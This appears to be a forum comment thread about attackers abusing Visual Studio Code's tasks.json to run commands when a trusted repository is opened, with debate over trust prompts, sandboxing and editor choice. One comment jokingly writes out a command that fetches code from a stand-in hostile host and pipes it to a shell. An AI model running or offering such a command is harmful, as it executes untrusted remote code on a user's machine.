Threat actors expand abuse of Microsoft Visual Studio Code

Is this 'task' feature really useful? I'd say applications like IDEs and text editors should not have automatic arbitrary execution of code in the first place. 'eval' should be blocked and extensions/plugins should have only very limited power to execute external logic (such as processes for LSP) or require allowlisting manually every process.

My first reaction has been: when we install some node modules, import them and eventually run them, we do grant local execution permissions to whatever the authors of those modules coded in their scripts, right? More or less every language already suffer from the same problem. Who vets the code inside a Ruby gem, a Python package, etc? Add your favorite language.

However I did not know about tasks.json (I don't use VSC) and when I googled it I found the example at https://code.visualstudio.com/api/extension-guides/task-prov... and that is about running rake (Ruby.) So this is a little worse than installing malicious packages: the trigger is opening a malicious repository from the editor. Is this a common practice? If it is, it means two things: 1) the developer did not take an explicit choice of installing and running code, so even the possibility of an attack is unexpected and 2) it affects users of any language, even the ones that have secured package installation or have no installation of packages from remote.

Not a VSCode user, so a genuine question: what are practical use-cases in which you want VSCode to automatically execute a task only by opening a folder?

Is it only for convenience so it already `npm i` or `npm start` without you having to do anything, or are there any other legitimate purposes beyond that?

In VS Code settings search for "tasks" you will find "Task: Allow Automatic Tasks"...turn it off.

Anything else that should be locked down?

I do feel like better application sandboxing is needed but so much open source software is built on the Unix abstraction meaning you have to run in a container, but macOS doesn’t have containers as far as I can see, and containers themselves are a bit of a poor abstraction, although maybe the best we can do with Unix at the core. I think something closer to Roblox studio would be cool where when you open an environment stuff just spins up in the background, but there is a good debugger, logging, developer ide, good rendering, eg 3d graphics, separate projects are separate, and when you spin down a game (read app or project) everything spins down.

It's Macro-enabled Office files all over again.

Coming from the perspective of an eclipse fan, why is VS code the defacto answer nowadays?

Im forced to use vs code (so biased), but everything seems worse than eclipse, plus these repeated security issues from malware laced projects.

Theres been several posts about infected projects by fake recruiters here in the last year or two.

Im guessing the answer is probably Java is why eclipse is out of favor.

It is scary that a text editor can run hidden code just by opening a folder. We traded our safety for convenience and now we are paying the price. Users will always click the button to trust a file if they think it helps them work faster. We cannot blame them when the software design makes it so easy to make a mistake.

Is tasks.json automatically run? I thought additional user interaction was required?

Between long lost of dependencies, LLM and these threat models; developing inside containers should be default workflow.

I wonder what happens if you open the repo in VSCode Online through GitHub?

When the project is opened, Visual Studio Code prompts the user to trust the repository author. If that trust is granted, the application automatically processes the repository’s tasks.json configuration file, which can result in embedded arbitrary commands being executed on the system.

Sigh. It's so Microsoft to just run random stuff.

Of course, in the Linux world, we have "Install with"

   curl https://www.hostilecode.com > bash

tasks.json is the problem here, who thought that was a good idea?

Maybe I'm a dinosaur in this regard but I don't like nor trust any of these desktop application that are really just Web technologies with an embedded browser eg Discord.

They're resource hogs and the attack surface is huge. You're basically betting that automatic code that's run won't find a vulnerability and escape the sandbox from an entire browser.

I have way more trust in Jetbrains IDEs and the JVM as a sandbox vs HTML/CSS/JS.

Still, I'm always impressed at the ingenuity of the people who come up with these attacks and the people who find them.

A great reason why you should switch to Zed.

"Code provides features that may automatically execute files in this folder. If you don't trust the authors of these files, we recommend to continue in restricted mode as the files may be malicious."

If you proceed with "Trust Project" you're at your own fault.